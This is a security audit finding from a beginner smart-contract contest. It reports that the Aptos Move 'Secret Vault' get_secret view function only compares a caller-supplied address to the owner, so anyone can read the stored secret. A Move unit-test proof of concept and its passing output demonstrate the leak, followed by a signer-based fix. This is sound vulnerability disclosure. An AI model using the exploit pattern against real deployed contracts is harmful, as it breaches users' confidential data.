Secret Vault

First Flight #46
Beginner FriendlyWallet
100 EXP
View results
Submission Details
Severity: high
Valid

Improper Access Control in `get_secret` Function Leads to Unauthorized Secret Disclosure

Root + Impact

Description

The get_secret() function attempts to restrict reads by asserting caller == @owner and then always borrowing the Vault at the named address @owner, however:

  • The only check is comparing a user‑supplied argument (caller) to a compile‑time constant (@owner). Any external caller can just pass @owner and the check succeeds

  • In Aptos, view functions have no signer context. There is no authenticated &signer to bind the request to the real caller, therefore this pattern cannot enforce access control

Risk

Likelihood: High

  • The get_secret() function is publicly callable and @owner is embedded in bytecode, which is discoverable

  • Attackers can trivially pass the expected address and retrieve the secret

Impact: High

  • Full confidentiality breach of the owner’s secret. If the secret controls off‑chain privileges or is sensitive data, the impact extends beyond on‑chain state. Additionally, inability to rotate the secret (due to move_to only) exacerbates exposure once leaked

Proof of Concept

Add the following test, then run the command: aptos move test -f test_anyone_can_read_secret

#[test(owner = @0xcc, attacker = @0xdead)]
fun test_anyone_can_read_secret(owner: &signer, attacker: &signer) acquires Vault {
use aptos_framework::account;
account::create_account_for_test(signer::address_of(owner));
account::create_account_for_test(signer::address_of(attacker));
// Owner stores a secret once.
set_secret(owner, b"i'm a secret");
// Attacker learns owner address (on-chain/public) and calls the view:
let leaked: String = get_secret(signer::address_of(owner));
// Succeeds: attacker recovered the secret.
assert!(leaked == utf8(b"i'm a secret"), 0);
let msg = utf8(b"retrieved secret: ");
string::append(&mut msg, leaked);
debug::print(&msg);
}

PoC Results:

aptos move test -f test_anyone_can_read_secret
INCLUDING DEPENDENCY AptosFramework
INCLUDING DEPENDENCY AptosStdlib
INCLUDING DEPENDENCY MoveStdlib
BUILDING aptos-secret-vault
Running Move unit tests
[debug] "retrieved secret: i'm a secret"
[ PASS ] 0x234::vault::test_anyone_can_read_secret
Test result: OK. Total tests: 1; passed: 1; failed: 0
{
"Result": "Success"
}

Recommended Mitigation

For proper access control, one way is to simly remove #[view] and require an authenticated signer:

public fun get_secret_auth(caller: &signer): String acquires Vault {
let addr = signer::address_of(caller);
let v = borrow_global<Vault>(addr);
v.secret
}
  • Note that this method only prevent others from calling get_secret(), but it does not provide confidentiality, since any on‑chain plaintext is publicly readable

  • To provide confidentiality, ensure to store ciphertext on-chain and decrypt off-chain

Updates

Lead Judging Commences

bube Lead Judge 13 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of signer check in `get_secret`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.